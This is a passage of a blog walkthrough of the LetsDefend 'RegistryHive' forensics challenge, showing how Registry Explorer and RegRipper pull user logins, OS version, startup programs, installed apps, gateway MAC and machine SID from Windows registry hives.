&amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;Work&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;h4 id=&#34;how-many-logins-did-the---&#34;&gt;How many logins did the &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;Work&amp;quot;&#xA;user have?&lt;/p&gt;&#xA;&lt;p&gt;Continuing with our investigation, we now need to determine some activities performed by the user &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Work.&amp;quot;&#xA;To find this information, we need to pivot from the SYSTEM hive and load the &lt;strong&gt;Security Account Manager (SAM) Hive&lt;/strong&gt;, which contains user information like username, group membership, and login information.&lt;/p&gt;&#xA;&lt;p&gt;Once we load the SAM hive with Registry Explorer, we can use the available bookmark to discover information about the users on the subject system. Unfortunately, the view is cramped with the limited screen space within the analysis environment, and this is a good excuse to try out another tool — &lt;strong&gt;RegRipper3.0.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f15c7c7956945005b8ad840fd9433b5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Viewing the Users Key from the SAM Hive&lt;/p&gt;&#xA;&lt;p&gt;Launch RegRipper3.0 (&lt;code&gt;rr.exe&lt;/code&gt;) from the &lt;code&gt;Tools&lt;/code&gt; folder to access the GUI. Once it opens, select the SAM hive file, specify a path to export the report to, and let it &lt;em&gt;Rip!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;281px&#34; data-flex-grow=&#34;117&#34; height=&#34;681&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/413f0fecb8981af3da29bf0181b78e64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper Setup&lt;/p&gt;&#xA;&lt;p&gt;This will produce two output files after the run, which is best explained by &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/regripper-ripping-registries-with-ease/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SANS&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/regripper-ripping-registries-with-ease/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;RegRipper creates two files when it runs. The first is the report file that contains the output of the plugins that were ran against the registry file. The second file is a log file that contains the dates, times, plugins ran, and the number of errors that occurred with the plugins. The log file filename is based off of the report file name minus the extension.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll want to focus on the first file and search for the username &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Work.&amp;quot;&#xA;Once we&amp;rsquo;ve located the account in the output, we&amp;rsquo;ll find the answers needed to answer &lt;strong&gt;Question 5 &amp;amp; 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;582&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/e6a70c16afbad02a40e9f7149f75625f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper: Output for the SAM hive&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1333px&#34; data-flex-grow=&#34;555&#34; height=&#34;144&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b03e07effa3f911d4f9a112a9ba5680b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f6e73ac55ef22a92eb7e59fcee78c19d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-os---&#34;&gt;What is the OS &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;ProductName&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-is-the-os----1&#34;&gt;What is the OS &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;BuildNumber&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re moving right along now! To answer &lt;strong&gt;Questions 7&lt;/strong&gt; &amp;amp; &lt;strong&gt;8&lt;/strong&gt;, we&amp;rsquo;ll need to discover the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;ProductName&amp;quot;&#xA;and &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;BuildNumber&amp;quot;&#xA;of the operating system where the dump was captured. Since this isn&amp;rsquo;t user account-related, we&amp;rsquo;ll need to search for another artifact — the &lt;strong&gt;SOFTWARE hive&lt;/strong&gt;. The SOFTWARE hive contains the information, settings, and preferences for software installed on the system, including the operating system.&lt;/p&gt;&#xA;&lt;p&gt;To answer these questions, let&amp;rsquo;s jump back into Registry Explorer, load the SOFTWARE hive, and use the available common bookmarks, selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CurrentVersion (Windows version information (Windows NT key))&amp;quot;&#xA;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/5ea2924c1fc3b8599c8d84497f4b7f6a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the CurrentVersion bookmark&lt;/p&gt;&#xA;&lt;p&gt;This will take us directly to the &lt;code&gt;SOFTWARE\Microsoft\Windows NT\CurrentVersion&lt;/code&gt; key, which contains information about the Windows version, including the &lt;code&gt;ProductName&lt;/code&gt; and &lt;code&gt;CurrentBuildNumber&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/8fce9936b895f2a740d85618acedd14a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the ProductName &amp;amp; CurrentBuildNumber&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1536px&#34; data-flex-grow=&#34;640&#34; height=&#34;125&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/1856f7393f6c7a14b8ee5cde0b6185b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1536px&#34; data-flex-grow=&#34;640&#34; height=&#34;125&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c83ba32f41f8f29bfaec15cb36b78744_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-how-many-programs-run-on-startup-for-anyuser&#34;&gt;Question 9: How many programs run on startup for any user?&#xA;&lt;/h3&gt;&lt;p&gt;To find the answer to &lt;strong&gt;Question 9&lt;/strong&gt;, we&amp;rsquo;ll need to determine how many programs run on startup for any user. But first, let&amp;rsquo;s take a step back and understand why autorun applications have the potential to be abused by an attacker.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;, a global knowledge base of adversary tactics, techniques, and procedures, a &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;registry run key&lt;/a&gt; can be abused for persistence and privilege escalation because &amp;quot; # &amp;ldquo;adding an entry to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;run keys&amp;rdquo;&#xA;in the Registry or startup folder will cause the program referenced to be executed when a user logs in.&amp;quot;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  title=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder&lt;/strong&gt;&#xA;_Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, it&amp;rsquo;s important that we check this key to determine if this feature was abused by an attacker or used for benign, normal tasks. We can again leverage the Registry Explorer bookmarks, selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**Run (Run key)&amp;quot;&#xA;** to take us to the key for the startup programs for all users.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/46b36e40fdc86823e760e0cbd272fe49_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Run key bookmark&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/8a43e0fc37aacab9641495852d37a891_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the startup programs&lt;/p&gt;&#xA;&lt;p&gt;After selecting the bookmark, we can determine that there are two applications set to run on startup for any user. Both programs appear normal and not malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/026eea32d74422ecf3ac6004b797f428_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-what-is-the-last-installed-app&#34;&gt;Question 10: What is the last installed app?&#xA;&lt;/h3&gt;&lt;p&gt;To identify the last app installed, we&amp;rsquo;ll continue with our analysis of the loaded SOFTWARE hive. To locate the correct registry key, we can search within the available bookmarks for the keyword &amp;quot; # &amp;ldquo;uninstall.&amp;ldquo;Why would we search for &amp;ldquo;uninstall&amp;quot;when we are looking for &lt;em&gt;installed&lt;/em&gt; apps? This is because information about software installed on the system is contained in the &lt;code&gt;Software\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt; key, where we&amp;rsquo;ll be able to find information about the install dates for the applications. Let&amp;rsquo;s try it out:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Available bookmarks&amp;rdquo;&#xA;tab.&#xA;2. Enter the string &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;uninstall&amp;rdquo;&#xA; into the search box and press &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Find&amp;rdquo;&#xA;.&#xA;3. Click the key named &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Uninstall&amp;quot;&#xA;.&#xA;4. In the right pane, sort the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Timestamp&amp;quot;&#xA;column to display the most recent results at the top.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/84331060f1fb0a33dd1222a0a9e52eed_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the last installed program by timestamp&lt;/p&gt;&#xA;&lt;p&gt;After analyzing the results of the &lt;code&gt;Uninstall&lt;/code&gt; key, we&amp;rsquo;ll see that the application &lt;code&gt;XAMPP&lt;/code&gt; was the last one installed onto the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/9e54ce494c091284ac7d7855f2671bac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-what-is-the---&#34;&gt;Question 11: What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;DefaultGatewayMac&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;p&gt;To determine the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;DefaultGatewayMac,&amp;quot;&#xA;we&amp;rsquo;ll take a similar approach to what we used back in &lt;strong&gt;Question 4&lt;/strong&gt;. Continuing with the SOFTWARE hive, we&amp;rsquo;ll once again leverage Registry Explorer&amp;rsquo;s find tool and enter the string &amp;quot; # &amp;ldquo;DefaultGatewayMac&amp;quot;into the search box to locate the MAC address data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;586&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/fd51f64175c5f04c97345d91c580523a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running the search, we&amp;rsquo;ll see the results in the bottom pane. The value data provides us with the &lt;code&gt;DefaultGatewayMac&lt;/code&gt; entry for the network adapter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1586px&#34; data-flex-grow=&#34;661&#34; height=&#34;121&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/55311ae4c6668f60916ffb78ac3f60ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-what-is-the-machinesid&#34;&gt;Question 12: What is the Machine SID?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question! Our last task is to determine the Machine Security Identifier (SID) of the device. Let&amp;rsquo;s do some research and get some context for what we&amp;rsquo;re looking for. According to an article from &lt;a class=&#34;link&#34; href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Forensafe&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a security group. Security principals can be a user account, a computer account, a thread, or a process. SID is generated by the system to identify a particular entity at the time it is created.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  title=&#34;https://forensafe.com/blogs/machine_sid.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Investigating Machine SID&lt;/strong&gt;&#xA;_18/07/2022 Monday A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a&amp;hellip;_forensafe.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In addition to the fantastic explanation, the article also discloses the location of this file in the registry:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Machine SID is stored in a security database. The default location is Windows\System32\Config\SECURITY\SAM\Domains\Account registry key.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;To save you some time, the unfortunate part is that this is a dead-end lead for the artifacts that we have available to us. So, let&amp;rsquo;s pivot and refer to the question hint for some guidance:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1153px&#34; data-flex-grow=&#34;480&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/3ab3b0e41e86cc0487a10ec20ae62932_MD5.png&#34; width=&#34;543&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember from all the way back in &lt;strong&gt;Question 1&lt;/strong&gt; that we noted two versions of &lt;strong&gt;RegRipper&lt;/strong&gt; in the &lt;code&gt;Tools&lt;/code&gt; folder? Now we know why. Occasionally, leveraging older versions of tools will change how input is parsed — let&amp;rsquo;s try out &lt;strong&gt;RegRipper2.8&lt;/strong&gt; and see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;While like how we set up the 3.0 version, there are some differences. First, point to the &lt;strong&gt;SECURITY&lt;/strong&gt; hive file which contains security policy and settings information. Then, specify your output directory for the two &lt;code&gt;.txt&lt;/code&gt; files. Finally, in the profile drop-down, select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;security.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;271px&#34; data-flex-grow=&#34;113&#34; height=&#34;707&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/e8e07b6c743df8fecabf5c69c1e82da9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper2.8: Setup&lt;/p&gt;&#xA;&lt;p&gt;Once the output file is generated, open it up and we&amp;rsquo;ll be able to easily locate the &lt;code&gt;Machine SID&lt;/code&gt; value that we&amp;rsquo;re looking for to complete the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;581&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/934f6958e6f5621bec156f995bafa1ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper2.8 Output: Discovering the Machine SID&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/56a1bffb4a342e920abd8f218b200966_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;633px&#34; data-flex-grow=&#34;264&#34; height=&#34;303&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c46e69328a521cd775d0bab7f11da552_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! By combining &lt;strong&gt;Registry Explorer&lt;/strong&gt; and &lt;strong&gt;RegRipper&lt;/strong&gt; to analyze the provided SYSTEM, SAM, SOFTWARE, and SECURITY registry artifacts, we&amp;rsquo;ve successfully collected the necessary information from the target computer. We were able to determine valuable information about the device, including the OS, computer name, time zone, and network information. We also learned about user and application activities on the system, giving us a clear view of what the device is and how it&amp;rsquo;s used — all through the registry. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/registryhive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegistryHive&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for the awesome challenge! This challenge was a great opportunity for me as I am very familiar with the registry but have never had to approach it from a forensics perspective. I knew this experience would help improve my skills and expose me to some of the valuable artifacts available in the registry. The hands-on practice is extremely valuable in the real world. This challenge was also a fantastic opportunity to explore more of Eric Zimmerman&amp;rsquo;s tools like Registry Explorer. This was an extremely powerful and flexible utility that is now part of my kit. I also had never used RegRipper and was extremely impressed by its ease of use and powerful output. All-in-all, this was a fun way to grow my skills — awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thank you for your support and partnering up on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/registryhive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/registryhive&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Registry Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;RegRipper3.0 — GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/keydet89/RegRipper3.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/keydet89/RegRipper3.0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Registry Hives:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — File Times:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Blog — RegRipper: Ripping Registries With Ease:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/regripper-ripping-registries-with-ease/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Digital Forensics and Incident Response Blog | RegRipper: Ripping Registries With Ease | SANS Institute&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1547/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Forensafe — Investigating Machine SID:&lt;/strong&gt; &lt;a class=&#34;link&#34; 